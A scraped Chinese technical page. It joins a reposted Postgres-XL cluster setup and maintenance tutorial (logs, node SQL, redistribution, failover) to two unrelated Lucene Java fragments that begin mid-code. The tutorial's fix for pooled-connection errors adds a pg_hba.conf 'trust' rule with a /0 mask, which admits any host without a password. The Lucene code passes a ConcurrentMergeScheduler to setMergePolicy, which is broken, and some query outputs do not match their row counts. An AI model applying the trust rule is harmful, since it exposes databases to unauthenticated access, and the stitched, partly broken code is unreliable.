socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令： 注：本节点只执行修改操作即可(alert node)，其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1，执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注：默认创建的表为分布式表，也就是每个数据节点值存储表的部分数据。关于表类型具体说明，下面有说明。 通过15432端口登录数据节点，查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2，查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条，没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误： ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对，所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点，也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表：各个datanode节点中，表的数据完全相同，也就是说，插入数据时，会分别在每个datanode节点插入相同数据。读数据时，只需要读任意一个datanode节点上的数据。 建表语法： CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE ：会将插入的数据，按照拆分规则，分配到不同的datanode节点中存储，也就是sharding技术。每个datanode节点只保存了部分数据，通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果： DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论：REPLICATION表中，datanode1,datanode2中表是全部数据，一模一样。而DISTRIBUTE表，数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上，新增一个master角色的datanode节点，名称是datanode3 端口号暂定5430，pool master暂定6669 ，指定好数据目录位置，从两个节点升级到3个节点，之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后，查询集群节点状态： postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布，需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上，如下： postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后，将sharding表数据重新分配到三个节点上，将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布： postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候，放在了xl3服务器上，端口15432)节点查看数据： [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令，可以将DISTRIBUTE表数据重新分布到新节点，重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据，为了数据安全，在删除之前需要检查下被删除节点上的数据，有数据的话，要回收掉分配到其他节点，然后才能安全删除。删除数据节点分为四步骤： 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据，那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现，查询范围如果涉及到故障的node1节点，会报错，而查询的数据范围不在node1上的话，仍然可以查询。 4.手动切换 要想切换，必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后，查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...Directory.open(new File("test")); Analyzer analyzer = new StandardAnalyzer(); IndexWriterConfig config = new IndexWriterConfig(analyzer); IndexWriter writer = new IndexWriter(directory, config); 如果test目录不存在，这段代码就会抛出NoSuchDirectoryException异常。 解决NoSuchDirectoryException找不到目录异常的方法 为了解决这个问题，我们需要在初始化Lucene之前，先创建这个目录。我们可以使用Java的File类来创建这个目录。以下是一个示例： java try { File dir = new File("test"); if (!dir.exists()) { boolean success = dir.mkdir(); if (!success) { throw new RuntimeException("Failed to create directory."); } } Directory directory = FSDirectory.open(dir); Analyzer analyzer = new StandardAnalyzer(); IndexWriterConfig config = new IndexWriterConfig(analyzer); IndexWriter writer = new IndexWriter(directory, config); } catch (IOException e) { // Handle IOExceptions here. } 在这个示例中，我们首先检查test目录是否已经存在。如果不存在，我们就尝试创建它。如果创建失败，我们就抛出一个运行时异常。如果创建成功，我们就使用这个目录来初始化Lucene。 这样，即使test目录不存在，我们的代码也可以正常运行，并且能够创建一个新的目录。 结论 总的来说，NoSuchDirectoryException找不到目录异常是我们在使用Lucene时经常会遇到的问题。但是，只要我们掌握了正确的解决方案，就可以轻松地解决这个问题。在我们动手初始化Lucene之前，有个小窍门可以确保目录已经准备就绪，那就是用Java里的File类来亲手创建这个目录，这样一来，一切就能稳妥进行啦！这样一来，哪怕目录压根不存在，我们的代码也能稳稳地运行起来，并且顺手就把新的目录给创建了。

...Directory.open(new File("myindex")); IndexWriterConfig config = new IndexWriterConfig(Version.LUCENE_46, new StandardAnalyzer(Version.LUCENE_46)); IndexWriter writer = new IndexWriter(directory, config); // 创建一些文档 Document doc1 = ...; Document doc2 = ...; // 将文档添加到索引中 writer.addDocuments(Arrays.asList(doc1, doc2)); // 提交更改 writer.commit(); // 关闭索引writer writer.close(); 四、并发索引写入策略的优化 然而，即使我们使用了"IndexWriter.addDocuments"方法，仍然有可能出现数据一致性问题和锁冲突问题。为了进一步提升性能，我们可以尝试用一个叫做"ConcurrentMergeScheduler"的家伙，这家伙可厉害了，它能在后台悄无声息地同时进行多个合并任务，这样一来，其他重要的写入操作就不会被耽误啦。 以下是一个使用"ConcurrentMergeScheduler"类的例子： java // 创建一个索引writer Directory directory = FSDirectory.open(new File("myindex")); IndexWriterConfig config = new IndexWriterConfig(Version.LUCENE_46, new StandardAnalyzer(Version.LUCENE_46)) .setMergePolicy(new ConcurrentMergeScheduler()); IndexWriter writer = new IndexWriter(directory, config); 五、总结 通过使用"IndexWriter.addDocuments"方法和"ConcurrentMergeScheduler"类，我们可以有效地提高Lucene的并发索引写入性能。当然啦，这只是个入门级别的策略大法，真正在实战中运用时，咱们得灵活应变，根据实际情况随时做出调整才行。